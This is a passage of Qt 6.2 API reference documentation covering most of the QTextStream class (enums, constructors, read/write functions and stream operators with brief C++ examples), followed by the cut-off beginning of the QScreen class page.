| [Qt::center](qt#center) | Same as [setFieldAlignment](qtextstream#setFieldAlignment)([AlignCenter](qtextstream#FieldAlignment-enum)). |
| [Qt::endl](qt#endl) | Same as operator<<('\n') and [flush](qtextstream#flush)(). |
| [Qt::flush](qt#flush) | Same as [flush](qtextstream#flush)(). |
| [Qt::reset](qt#reset) | Same as [reset](qtextstream#reset)(). |
| [Qt::ws](qt#ws) | Same as [skipWhiteSpace](qtextstream#skipWhiteSpace)(). |
| [Qt::bom](qt#bom) | Same as [setGenerateByteOrderMark](qtextstream#setGenerateByteOrderMark)(true). |

 In addition, Qt provides three global manipulators that take a parameter: [qSetFieldWidth](qtextstream#qSetFieldWidth)(), [qSetPadChar](qtextstream#qSetPadChar)(), and [qSetRealNumberPrecision](qtextstream#qSetRealNumberPrecision)().

 **See also** [QDataStream](qdatastream), [QIODevice](qiodevice), [QFile](qfile), [QBuffer](qbuffer), and [QTcpSocket](qtcpsocket).

 Member Type Documentation
-------------------------

 ### enum QTextStream::FieldAlignment

 This enum specifies how to align text in fields when the field is wider than the text that occupies it.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QTextStream::AlignLeft` | `0` | Pad on the right side of fields. |
| `QTextStream::AlignRight` | `1` | Pad on the left side of fields. |
| `QTextStream::AlignCenter` | `2` | Pad on both sides of field. |
| `QTextStream::AlignAccountingStyle` | `3` | Same as AlignRight, except that the sign of a number is flush left. |

 **See also** [setFieldAlignment](qtextstream#setFieldAlignment)().

 ### enum QTextStream::NumberFlagflags QTextStream::NumberFlags

 This enum specifies various flags that can be set to affect the output of integers, `float`s, and `double`s.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QTextStream::ShowBase` | `0x1` | Show the base as a prefix if the base is 16 ("0x"), 8 ("0"), or 2 ("0b"). |
| `QTextStream::ForcePoint` | `0x2` | Always put the decimal separator in numbers, even if there are no decimals. |
| `QTextStream::ForceSign` | `0x4` | Always put the sign in numbers, even for positive numbers. |
| `QTextStream::UppercaseBase` | `0x8` | Use uppercase versions of base prefixes ("0X", "0B"). |
| `QTextStream::UppercaseDigits` | `0x10` | Use uppercase letters for expressing digits 10 to 35 instead of lowercase. |

 The NumberFlags type is a typedef for [QFlags](qflags)<NumberFlag>. It stores an OR combination of NumberFlag values.

 **See also** [setNumberFlags](qtextstream#setNumberFlags)().

 ### enum QTextStream::RealNumberNotation

 This enum specifies which notations to use for expressing `float` and `double` as strings.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QTextStream::ScientificNotation` | `2` | Scientific notation (`printf()`'s `%e` flag). |
| `QTextStream::FixedNotation` | `1` | Fixed-point notation (`printf()`'s `%f` flag). |
| `QTextStream::SmartNotation` | `0` | Scientific or fixed-point notation, depending on which makes most sense (`printf()`'s `%g` flag). |

 **See also** [setRealNumberNotation](qtextstream#setRealNumberNotation)().

 ### enum QTextStream::Status

 This enum describes the current status of the text stream.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QTextStream::Ok` | `0` | The text stream is operating normally. |
| `QTextStream::ReadPastEnd` | `1` | The text stream has read past the end of the data in the underlying device. |
| `QTextStream::ReadCorruptData` | `2` | The text stream has read corrupt data. |
| `QTextStream::WriteFailed` | `3` | The text stream cannot write to the underlying device. |

 **See also** [status](qtextstream#status)().

 Member Function Documentation
-----------------------------

 ### QTextStream::QTextStream(const [QByteArray](qbytearray) &*array*, [QIODeviceBase::OpenMode](qiodevicebase#OpenModeFlag-enum) *openMode* = ReadOnly)

 Constructs a QTextStream that operates on *array*, using *openMode* to define the open mode. The array is accessed as read-only, regardless of the values in *openMode*.

 This constructor is convenient for working on constant strings. Example:

 
```
int main(int argc, char *argv[])
{
    // read numeric arguments (123, 0x20, 4.5...)
    for (int i = 1; i < argc; ++i) {
          int number;
          QTextStream in(argv[i]);
          in >> number;
          ...
    }
}
```
 ### QTextStream::QTextStream([QByteArray](qbytearray) \**array*, [QIODeviceBase::OpenMode](qiodevicebase#OpenModeFlag-enum) *openMode* = ReadWrite)

 Constructs a QTextStream that operates on *array*, using *openMode* to define the open mode. Internally, the array is wrapped by a [QBuffer](qbuffer).

 ### QTextStream::QTextStream([QString](qstring) \**string*, [QIODeviceBase::OpenMode](qiodevicebase#OpenModeFlag-enum) *openMode* = ReadWrite)

 Constructs a QTextStream that operates on *string*, using *openMode* to define the open mode.

 ### QTextStream::QTextStream(FILE \**fileHandle*, [QIODeviceBase::OpenMode](qiodevicebase#OpenModeFlag-enum) *openMode* = ReadWrite)

 Constructs a QTextStream that operates on *fileHandle*, using *openMode* to define the open mode. Internally, a [QFile](qfile) is created to handle the FILE pointer.

 This constructor is useful for working directly with the common FILE based input and output streams: stdin, stdout and stderr. Example:

 
```
QString str;
QTextStream in(stdin);
in >> str;
```
 ### QTextStream::QTextStream([QIODevice](qiodevice) \**device*)

 Constructs a QTextStream that operates on *device*.

 ### QTextStream::QTextStream()

 Constructs a QTextStream. Before you can use it for reading or writing, you must assign a device or a string.

 **See also** [setDevice](qtextstream#setDevice)() and [setString](qtextstream#setString)().

 ### 
`[virtual]` QTextStream::~QTextStream()

 Destroys the [QTextStream](qtextstream).

 If the stream operates on a device, [flush](qtextstream#flush)() will be called implicitly. Otherwise, the device is unaffected.

 ### 
bool QTextStream::atEnd() const

 Returns `true` if there is no more data to be read from the [QTextStream](qtextstream); otherwise returns `false`. This is similar to, but not the same as calling [QIODevice::atEnd](qiodevice#atEnd)(), as [QTextStream](qtextstream) also takes into account its internal Unicode buffer.

 ### 
bool QTextStream::autoDetectUnicode() const

 Returns `true` if automatic Unicode detection is enabled, otherwise returns `false`. Automatic Unicode detection is enabled by default.

 **See also** [setAutoDetectUnicode](qtextstream#setAutoDetectUnicode)() and [setEncoding](qtextstream#setEncoding)().

 ### 
[QIODevice](qiodevice) \*QTextStream::device() const

 Returns the current device associated with the [QTextStream](qtextstream), or `nullptr` if no device has been assigned.

 **See also** [setDevice](qtextstream#setDevice)() and [string](qtextstream#string)().

 ### 
[QStringConverter::Encoding](qstringconverter#Encoding-enum) QTextStream::encoding() const

 Returns the encoding that is current assigned to the stream.

 **See also** [setEncoding](qtextstream#setEncoding)(), [setAutoDetectUnicode](qtextstream#setAutoDetectUnicode)(), and [locale](qtextstream#locale)().

 ### 
[QTextStream::FieldAlignment](qtextstream#FieldAlignment-enum) QTextStream::fieldAlignment() const

 Returns the current field alignment.

 **See also** [setFieldAlignment](qtextstream#setFieldAlignment)() and [fieldWidth](qtextstream#fieldWidth)().

 ### 
int QTextStream::fieldWidth() const

 Returns the current field width.

 **See also** [setFieldWidth](qtextstream#setFieldWidth)().

 ### 
void QTextStream::flush()

 Flushes any buffered data waiting to be written to the device.

 If [QTextStream](qtextstream) operates on a string, this function does nothing.

 ### 
bool QTextStream::generateByteOrderMark() const

 Returns `true` if [QTextStream](qtextstream) is set to generate the UTF BOM (Byte Order Mark) when using a UTF encoding; otherwise returns `false`. UTF BOM generation is set to false by default.

 **See also** [setGenerateByteOrderMark](qtextstream#setGenerateByteOrderMark)().

 ### 
int QTextStream::integerBase() const

 Returns the current base of integers. 0 means that the base is detected when reading, or 10 (decimal) when generating numbers.

 **See also** [setIntegerBase](qtextstream#setIntegerBase)(), [QString::number](qstring#number)(), and [numberFlags](qtextstream#numberFlags)().

 ### 
[QLocale](qlocale) QTextStream::locale() const

 Returns the locale for this stream. The default locale is C.

 **See also** [setLocale](qtextstream#setLocale)().

 ### 
[QTextStream::NumberFlags](qtextstream#NumberFlag-enum) QTextStream::numberFlags() const

 Returns the current number flags.

 **See also** [setNumberFlags](qtextstream#setNumberFlags)(), [integerBase](qtextstream#integerBase)(), and [realNumberNotation](qtextstream#realNumberNotation)().

 ### 
[QChar](qchar) QTextStream::padChar() const

 Returns the current pad character.

 **See also** [setPadChar](qtextstream#setPadChar)() and [setFieldWidth](qtextstream#setFieldWidth)().

 ### 
[qint64](qtglobal#qint64-typedef) QTextStream::pos() const

 Returns the device position corresponding to the current position of the stream, or -1 if an error occurs (e.g., if there is no device or string, or if there's a device error).

 Because [QTextStream](qtextstream) is buffered, this function may have to seek the device to reconstruct a valid device position. This operation can be expensive, so you may want to avoid calling this function in a tight loop.

 **See also** [seek](qtextstream#seek)().

 ### 
[QString](qstring) QTextStream::read([qint64](qtglobal#qint64-typedef) *maxlen*)

 Reads at most *maxlen* characters from the stream, and returns the data read as a [QString](qstring).

 **See also** [readAll](qtextstream#readAll)(), [readLine](qtextstream#readLine)(), and [QIODevice::read](qiodevice#read)().

 ### 
[QString](qstring) QTextStream::readAll()

 Reads the entire content of the stream, and returns it as a [QString](qstring). Avoid this function when working on large files, as it will consume a significant amount of memory.

 Calling [readLine](qtextstream#readLine)() is better if you do not know how much data is available.

 **See also** [readLine](qtextstream#readLine)().

 ### 
[QString](qstring) QTextStream::readLine([qint64](qtglobal#qint64-typedef) *maxlen* = 0)

 Reads one line of text from the stream, and returns it as a [QString](qstring). The maximum allowed line length is set to *maxlen*. If the stream contains lines longer than this, then the lines will be split after *maxlen* characters and returned in parts.

 If *maxlen* is 0, the lines can be of any length.

 The returned line has no trailing end-of-line characters ("\n" or "\r\n"), so calling [QString::trimmed](qstring#trimmed)() can be unnecessary.

 If the stream has read to the end of the file, readLine() will return a null [QString](qstring). For strings, or for devices that support it, you can explicitly test for the end of the stream using [atEnd](qtextstream#atEnd)().

 **See also** [readAll](qtextstream#readAll)() and [QIODevice::readLine](qiodevice#readLine)().

 ### 
`[since 5.5]` bool QTextStream::readLineInto([QString](qstring) \**line*, [qint64](qtglobal#qint64-typedef) *maxlen* = 0)

 Reads one line of text from the stream into *line*. If *line* is `nullptr`, the read line is not stored.

 The maximum allowed line length is set to *maxlen*. If the stream contains lines longer than this, then the lines will be split after *maxlen* characters and returned in parts.

 If *maxlen* is 0, the lines can be of any length.

 The resulting line has no trailing end-of-line characters ("\n" or "\r\n"), so calling [QString::trimmed](qstring#trimmed)() can be unnecessary.

 If *line* has sufficient capacity for the data that is about to be read, this function may not need to allocate new memory. Because of this, it can be faster than [readLine](qtextstream#readLine)().

 Returns `false` if the stream has read to the end of the file or an error has occurred; otherwise returns `true`. The contents in *line* before the call are discarded in any case.

 This function was introduced in Qt 5.5.

 **See also** [readAll](qtextstream#readAll)() and [QIODevice::readLine](qiodevice#readLine)().

 ### 
[QTextStream::RealNumberNotation](qtextstream#RealNumberNotation-enum) QTextStream::realNumberNotation() const

 Returns the current real number notation.

 **See also** [setRealNumberNotation](qtextstream#setRealNumberNotation)(), [realNumberPrecision](qtextstream#realNumberPrecision)(), [numberFlags](qtextstream#numberFlags)(), and [integerBase](qtextstream#integerBase)().

 ### 
int QTextStream::realNumberPrecision() const

 Returns the current real number precision, or the number of fraction digits [QTextStream](qtextstream) will write when generating real numbers.

 **See also** [setRealNumberPrecision](qtextstream#setRealNumberPrecision)(), [setRealNumberNotation](qtextstream#setRealNumberNotation)(), [realNumberNotation](qtextstream#realNumberNotation)(), [numberFlags](qtextstream#numberFlags)(), and [integerBase](qtextstream#integerBase)().

 ### 
void QTextStream::reset()

 Resets [QTextStream](qtextstream)'s formatting options, bringing it back to its original constructed state. The device, string and any buffered data is left untouched.

 ### 
void QTextStream::resetStatus()

 Resets the status of the text stream.

 **See also** [QTextStream::Status](qtextstream#Status-enum), [status](qtextstream#status)(), and [setStatus](qtextstream#setStatus)().

 ### 
bool QTextStream::seek([qint64](qtglobal#qint64-typedef) *pos*)

 Seeks to the position *pos* in the device. Returns `true` on success; otherwise returns `false`.

 ### 
void QTextStream::setAutoDetectUnicode(bool *enabled*)

 If *enabled* is true, [QTextStream](qtextstream) will attempt to detect Unicode encoding by peeking into the stream data to see if it can find the UTF-8, UTF-16, or UTF-32 Byte Order Mark (BOM). If this mark is found, [QTextStream](qtextstream) will replace the current encoding with the UTF encoding.

 This function can be used together with [setEncoding](qtextstream#setEncoding)(). It is common to set the encoding to UTF-8, and then enable UTF-16 detection.

 **See also** [autoDetectUnicode](qtextstream#autoDetectUnicode)() and [setEncoding](qtextstream#setEncoding)().

 ### 
void QTextStream::setDevice([QIODevice](qiodevice) \**device*)

 Sets the current device to *device*. If a device has already been assigned, [QTextStream](qtextstream) will call [flush](qtextstream#flush)() before the old device is replaced.

  **Note:** This function resets locale to the default locale ('C') and encoding to the default encoding, UTF-8.

  **See also** [device](qtextstream#device)() and [setString](qtextstream#setString)().

 ### 
void QTextStream::setEncoding([QStringConverter::Encoding](qstringconverter#Encoding-enum) *encoding*)

 Sets the encoding for this stream to *encoding*. The encoding is used for decoding any data that is read from the assigned device, and for encoding any data that is written. By default, [QStringConverter::Utf8](qstringconverter#Encoding-enum) is used, and automatic unicode detection is enabled.

 If [QTextStream](qtextstream) operates on a string, this function does nothing.

  **Warning:** If you call this function while the text stream is reading from an open sequential socket, the internal buffer may still contain text decoded using the old encoding.

  **See also** [encoding](qtextstream#encoding)(), [setAutoDetectUnicode](qtextstream#setAutoDetectUnicode)(), and [setLocale](qtextstream#setLocale)().

 ### 
void QTextStream::setFieldAlignment([QTextStream::FieldAlignment](qtextstream#FieldAlignment-enum) *mode*)

 Sets the field alignment to *mode*. When used together with [setFieldWidth](qtextstream#setFieldWidth)(), this function allows you to generate formatted output with text aligned to the left, to the right or center aligned.

 **See also** [fieldAlignment](qtextstream#fieldAlignment)() and [setFieldWidth](qtextstream#setFieldWidth)().

 ### 
void QTextStream::setFieldWidth(int *width*)

 Sets the current field width to *width*. If *width* is 0 (the default), the field width is equal to the length of the generated text.

  **Note:** The field width applies to every element appended to this stream after this function has been called (e.g., it also pads endl). This behavior is different from similar classes in the STL, where the field width only applies to the next element.

  **See also** [fieldWidth](qtextstream#fieldWidth)() and [setPadChar](qtextstream#setPadChar)().

 ### 
void QTextStream::setGenerateByteOrderMark(bool *generate*)

 If *generate* is true and a UTF encoding is used, [QTextStream](qtextstream) will insert the BOM (Byte Order Mark) before any data has been written to the device. If *generate* is false, no BOM will be inserted. This function must be called before any data is written. Otherwise, it does nothing.

 **See also** [generateByteOrderMark](qtextstream#generateByteOrderMark)() and [bom](qt#bom)().

 ### 
void QTextStream::setIntegerBase(int *base*)

 Sets the base of integers to *base*, both for reading and for generating numbers. *base* can be either 2 (binary), 8 (octal), 10 (decimal) or 16 (hexadecimal). If *base* is 0, [QTextStream](qtextstream) will attempt to detect the base by inspecting the data on the stream. When generating numbers, [QTextStream](qtextstream) assumes base is 10 unless the base has been set explicitly.

 **See also** [integerBase](qtextstream#integerBase)(), [QString::number](qstring#number)(), and [setNumberFlags](qtextstream#setNumberFlags)().

 ### 
void QTextStream::setLocale(const [QLocale](qlocale) &*locale*)

 Sets the locale for this stream to *locale*. The specified locale is used for conversions between numbers and their string representations.

 The default locale is C and it is a special case - the thousands group separator is not used for backward compatibility reasons.

 **See also** [locale](qtextstream#locale)().

 ### 
void QTextStream::setNumberFlags([QTextStream::NumberFlags](qtextstream#NumberFlag-enum) *flags*)

 Sets the current number flags to *flags*. *flags* is a set of flags from the [NumberFlag](qtextstream#NumberFlag-enum) enum, and describes options for formatting generated code (e.g., whether or not to always write the base or sign of a number).

 **See also** [numberFlags](qtextstream#numberFlags)(), [setIntegerBase](qtextstream#setIntegerBase)(), and [setRealNumberNotation](qtextstream#setRealNumberNotation)().

 ### 
void QTextStream::setPadChar([QChar](qchar) *ch*)

 Sets the pad character to *ch*. The default value is the ASCII space character (' '), or [QChar](qchar)(0x20). This character is used to fill in the space in fields when generating text.

 Example:

 
```
QString s;
QTextStream out(&s);
out.setFieldWidth(10);
out.setFieldAlignment(QTextStream::AlignCenter);
out.setPadChar('-');
out << "Qt" << "rocks!";
```
 The string `s` contains:

 
```
----Qt------rocks!--
```
 **See also** [padChar](qtextstream#padChar)() and [setFieldWidth](qtextstream#setFieldWidth)().

 ### 
void QTextStream::setRealNumberNotation([QTextStream::RealNumberNotation](qtextstream#RealNumberNotation-enum) *notation*)

 Sets the real number notation to *notation* ([SmartNotation](qtextstream#RealNumberNotation-enum), [FixedNotation](qtextstream#RealNumberNotation-enum), [ScientificNotation](qtextstream#RealNumberNotation-enum)). When reading and generating numbers, [QTextStream](qtextstream) uses this value to detect the formatting of real numbers.

 **See also** [realNumberNotation](qtextstream#realNumberNotation)(), [setRealNumberPrecision](qtextstream#setRealNumberPrecision)(), [setNumberFlags](qtextstream#setNumberFlags)(), and [setIntegerBase](qtextstream#setIntegerBase)().

 ### 
void QTextStream::setRealNumberPrecision(int *precision*)

 Sets the precision of real numbers to *precision*. This value describes the number of fraction digits [QTextStream](qtextstream) should write when generating real numbers.

 The precision cannot be a negative value. The default value is 6.

 **See also** [realNumberPrecision](qtextstream#realNumberPrecision)() and [setRealNumberNotation](qtextstream#setRealNumberNotation)().

 ### 
void QTextStream::setStatus([QTextStream::Status](qtextstream#Status-enum) *status*)

 Sets the status of the text stream to the *status* given.

 Subsequent calls to setStatus() are ignored until [resetStatus](qtextstream#resetStatus)() is called.

 **See also** [Status](qtextstream#Status-enum), [status](qtextstream#status)(), and [resetStatus](qtextstream#resetStatus)().

 ### 
void QTextStream::setString([QString](qstring) \**string*, [QIODeviceBase::OpenMode](qiodevicebase#OpenModeFlag-enum) *openMode* = ReadWrite)

 Sets the current string to *string*, using the given *openMode*. If a device has already been assigned, [QTextStream](qtextstream) will call [flush](qtextstream#flush)() before replacing it.

 **See also** [string](qtextstream#string)() and [setDevice](qtextstream#setDevice)().

 ### 
void QTextStream::skipWhiteSpace()

 Reads and discards whitespace from the stream until either a non-space character is detected, or until [atEnd](qtextstream#atEnd)() returns true. This function is useful when reading a stream character by character.

 Whitespace characters are all characters for which [QChar::isSpace](qchar#isSpace)() returns `true`.

 **See also** [operator>>](qtextstream#operator-gt-gt)().

 ### 
[QTextStream::Status](qtextstream#Status-enum) QTextStream::status() const

 Returns the status of the text stream.

 **See also** [QTextStream::Status](qtextstream#Status-enum), [setStatus](qtextstream#setStatus)(), and [resetStatus](qtextstream#resetStatus)().

 ### 
[QString](qstring) \*QTextStream::string() const

 Returns the current string assigned to the [QTextStream](qtextstream), or `nullptr` if no string has been assigned.

 **See also** [setString](qtextstream#setString)() and [device](qtextstream#device)().

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<([QChar](qchar) *c*)

 Writes the character *c* to the stream, then returns a reference to the [QTextStream](qtextstream).

 **See also** [setFieldWidth](qtextstream#setFieldWidth)().

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(char *c*)

 This is an overloaded function.

 Converts *c* from ASCII to a [QChar](qchar), then writes it to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(short *i*)

 Writes the integer number *i* to the stream, then returns a reference to the [QTextStream](qtextstream). By default, the number is stored in decimal form, but you can also set the base by calling [setIntegerBase](qtextstream#setIntegerBase)().

 **See also** [setFieldWidth](qtextstream#setFieldWidth)() and [setNumberFlags](qtextstream#setNumberFlags)().

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(unsigned short *i*)

 This is an overloaded function.

 Writes the unsigned short *i* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(int *i*)

 This is an overloaded function.

 Writes the signed int *i* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(unsigned int *i*)

 This is an overloaded function.

 Writes the unsigned int *i* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(long *i*)

 This is an overloaded function.

 Writes the signed long *i* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(unsigned long *i*)

 This is an overloaded function.

 Writes the unsigned long *i* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<([qlonglong](qtglobal#qlonglong-typedef) *i*)

 This is an overloaded function.

 Writes the qlonglong *i* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<([qulonglong](qtglobal#qulonglong-typedef) *i*)

 This is an overloaded function.

 Writes the qulonglong *i* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(float *f*)

 Writes the real number *f* to the stream, then returns a reference to the [QTextStream](qtextstream). By default, [QTextStream](qtextstream) stores it using [SmartNotation](qtextstream#RealNumberNotation-enum), with up to 6 digits of precision. You can change the textual representation [QTextStream](qtextstream) will use for real numbers by calling [setRealNumberNotation](qtextstream#setRealNumberNotation)(), [setRealNumberPrecision](qtextstream#setRealNumberPrecision)() and [setNumberFlags](qtextstream#setNumberFlags)().

 **See also** [setFieldWidth](qtextstream#setFieldWidth)(), [setRealNumberNotation](qtextstream#setRealNumberNotation)(), [setRealNumberPrecision](qtextstream#setRealNumberPrecision)(), and [setNumberFlags](qtextstream#setNumberFlags)().

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(double *f*)

 This is an overloaded function.

 Writes the double *f* to the stream.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(const [QString](qstring) &*string*)

 Writes the string *string* to the stream, and returns a reference to the [QTextStream](qtextstream). The string is first encoded using the assigned encoding (the default is UTF-8) before it is written to the stream.

 **See also** [setFieldWidth](qtextstream#setFieldWidth)() and [setEncoding](qtextstream#setEncoding)().

 ### 
`[since 5.12]` [QTextStream](qtextstream#QTextStream) &QTextStream::operator<<([QStringView](qstringview) *string*)

 This is an overloaded function.

 Writes *string* to the stream, and returns a reference to the [QTextStream](qtextstream).

 This function was introduced in Qt 5.12.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<([QLatin1String](qlatin1string) *string*)

 This is an overloaded function.

 Writes *string* to the stream, and returns a reference to the [QTextStream](qtextstream).

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(const [QByteArray](qbytearray) &*array*)

 This is an overloaded function.

 Writes *array* to the stream. The contents of *array* are converted with [QString::fromUtf8](qstring#fromUtf8)().

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(const char \**string*)

 This is an overloaded function.

 Writes the constant string pointed to by *string* to the stream. *string* is assumed to be in UTF-8 encoding. This operator is convenient when working with constant string data. Example:

 
```
QTextStream out(stdout);
out << "Qt rocks!" << Qt::endl;
```
 Warning: [QTextStream](qtextstream) assumes that *string* points to a string of text, terminated by a '\0' character. If there is no terminating '\0' character, your application may crash.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator<<(const void \**ptr*)

 This is an overloaded function.

 Writes *ptr* to the stream as a hexadecimal number with a base.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>([QChar](qchar) &*c*)

 Reads a character from the stream and stores it in *c*. Returns a reference to the [QTextStream](qtextstream), so several operators can be nested. Example:

 
```
QTextStream in(file);
QChar ch1, ch2, ch3;
in >> ch1 >> ch2 >> ch3;
```
 Whitespace is *not* skipped.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(char &*c*)

 This is an overloaded function.

 Reads a character from the stream and stores it in *c*. The character from the stream is converted to ISO-5589-1 before it is stored.

 **See also** [QChar::toLatin1](qchar#toLatin1)().

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(short &*i*)

 Reads an integer from the stream and stores it in *i*, then returns a reference to the [QTextStream](qtextstream). The number is cast to the correct type before it is stored. If no number was detected on the stream, *i* is set to 0.

 By default, [QTextStream](qtextstream) will attempt to detect the base of the number using the following rules:

 

| Prefix | Base |
| --- | --- |
| "0b" or "0B" | 2 (binary) |
| "0" followed by "0-7" | 8 (octal) |
| "0" otherwise | 10 (decimal) |
| "0x" or "0X" | 16 (hexadecimal) |
| "1" to "9" | 10 (decimal) |

 By calling [setIntegerBase](qtextstream#setIntegerBase)(), you can specify the integer base explicitly. This will disable the auto-detection, and speed up [QTextStream](qtextstream) slightly.

 Leading whitespace is skipped.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(unsigned short &*i*)

 This is an overloaded function.

 Stores the integer in the unsigned short *i*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(int &*i*)

 This is an overloaded function.

 Stores the integer in the signed int *i*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(unsigned int &*i*)

 This is an overloaded function.

 Stores the integer in the unsigned int *i*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(long &*i*)

 This is an overloaded function.

 Stores the integer in the signed long *i*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(unsigned long &*i*)

 This is an overloaded function.

 Stores the integer in the unsigned long *i*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>([qlonglong](qtglobal#qlonglong-typedef) &*i*)

 This is an overloaded function.

 Stores the integer in the qlonglong *i*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>([qulonglong](qtglobal#qulonglong-typedef) &*i*)

 This is an overloaded function.

 Stores the integer in the qulonglong *i*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(float &*f*)

 Reads a real number from the stream and stores it in *f*, then returns a reference to the [QTextStream](qtextstream). The number is cast to the correct type. If no real number is detect on the stream, *f* is set to 0.0.

 As a special exception, [QTextStream](qtextstream) allows the strings "nan" and "inf" to represent NAN and INF floats or doubles.

 Leading whitespace is skipped.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(double &*f*)

 This is an overloaded function.

 Stores the real number in the double *f*.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>([QString](qstring) &*str*)

 Reads a word from the stream and stores it in *str*, then returns a reference to the stream. Words are separated by whitespace (i.e., all characters for which [QChar::isSpace](qchar#isSpace)() returns `true`).

 Leading whitespace is skipped.

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>([QByteArray](qbytearray) &*array*)

 This is an overloaded function.

 Converts the word to UTF-8, then stores it in *array*.

 **See also** [QString::toLatin1](qstring#toLatin1)().

 ### 
[QTextStream](qtextstream#QTextStream) &QTextStream::operator>>(char \**c*)

 This is an overloaded function.

 Converts the word to UTF-8 and stores it in *c*, terminated by a '\0' character. If no word is available, only the '\0' character is stored.

 Warning: Although convenient, this operator is dangerous and must be used with care. [QTextStream](qtextstream) assumes that *c* points to a buffer with enough space to hold the word. If the buffer is too small, your application may crash. For a word consisting of `n` QChars, the buffer needs to be at least `3*n+1` characters long.

 If possible, use the [QByteArray](qbytearray) operator instead.

  Related Non-Members
-------------------

 ### 
QTextStreamManipulator qSetFieldWidth(int *width*)

 Equivalent to [QTextStream::setFieldWidth](qtextstream#setFieldWidth)(*width*).

 ### 
QTextStreamManipulator qSetPadChar([QChar](qchar) *ch*)

 Equivalent to [QTextStream::setPadChar](qtextstream#setPadChar)(*ch*).

 ### 
QTextStreamManipulator qSetRealNumberPrecision(int *precision*)

 Equivalent to [QTextStream::setRealNumberPrecision](qtextstream#setRealNumberPrecision)(*precision*).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtextstream.html>

QScreen Class
=============

 The QScreen class is used to query screen properties. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QScreen> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Since: |  Qt 5.0 |
|  Inherits: | [QObject](qobject) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qscreen-members.html)

 Properties
----------

 

|  |  |
| --- | --- |
| * **[availableGeometry](qscreen#availableGeometry-prop)** : const QRect
* **[availableSize](qscreen#availableSize-prop)** : const QSize
* **[availableVirtualGeometry](qscreen#availableVirtualGeometry-prop)** : const QRect
* **[availableVirtualSize](qscreen#availableVirtualSize-prop)** : const QSize
* **[depth](qscreen#depth-prop)** : const int
* **[devicePixelRatio](qscreen#devicePixelRatio-prop)** : const qreal
* **[geometry](qscreen#geometry-prop)** : const QRect
* **[logicalDotsPerInch](qscreen#logicalDotsPerInch-prop)** : const qreal
* **[logicalDotsPerInchX](qscreen#logicalDotsPerInchX-prop)** : const qreal
* **[logicalDotsPerInchY](qscreen#logicalDotsPerInchY-prop)** : const qreal
* **[manufacturer](qscreen#manufacturer-prop)** : const QString
* **[model](qscreen#model-prop)** : const QString
* **[name](qscreen#name-prop)** : const QString
 | * **[nativeOrientation](qscreen#nativeOrientation-prop)** : const Qt::ScreenOrientation
* **[orientation](qscreen#orientation-prop)** : const Qt::ScreenOrientation
* **[physicalDotsPerInch](qscreen#physicalDotsPerInch-prop)** : const qreal
* **[physicalDotsPerInchX](qscreen#physicalDotsPerInchX-prop)** : const qreal
* **[physicalDotsPerInchY](qscreen#physicalDotsPerInchY-prop)** : const qreal
* **[physicalSize](qscreen#physicalSize-prop)** : const QSizeF
* **[primaryOrientation](qscreen#primaryOrientation-prop)** : const Qt::ScreenOrientation
* **[refreshRate](qscreen#refreshRate-prop)** : const qreal
* **[serialNumber](qscreen#serialNumber-prop)** : const QString
* **[size](qscreen#size-prop)** : const QSize
* **[virtualGeometry](qscreen#virtualGeometry-prop)** : const QRect
* **[virtualSize](qscreen#virtualSize-prop)** : const QSize
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  virtual  | **[~QScreen](qscreen#dtor.QScreen)**() |
|  int  | **[angleBetween](qscreen#angleBetween)**(Qt::ScreenOrientation *a*, Qt::ScreenOrientation *b*) const |
|  QRect  | **[availableGeometry](qscreen#availableGeometry-prop)**() const |
|  QSize  | **[availableSize](qscreen#availableSize-prop)**() const |
|  QRect  | **[availableVirtualGeometry](qscreen#availableVirtualGeometry-prop)**() const |
|  QSize  | **[availableVirtualSize](qscreen#availableVirtualSize-prop)**() const |
|  int  | **[depth](qscreen#depth-prop)**() const |
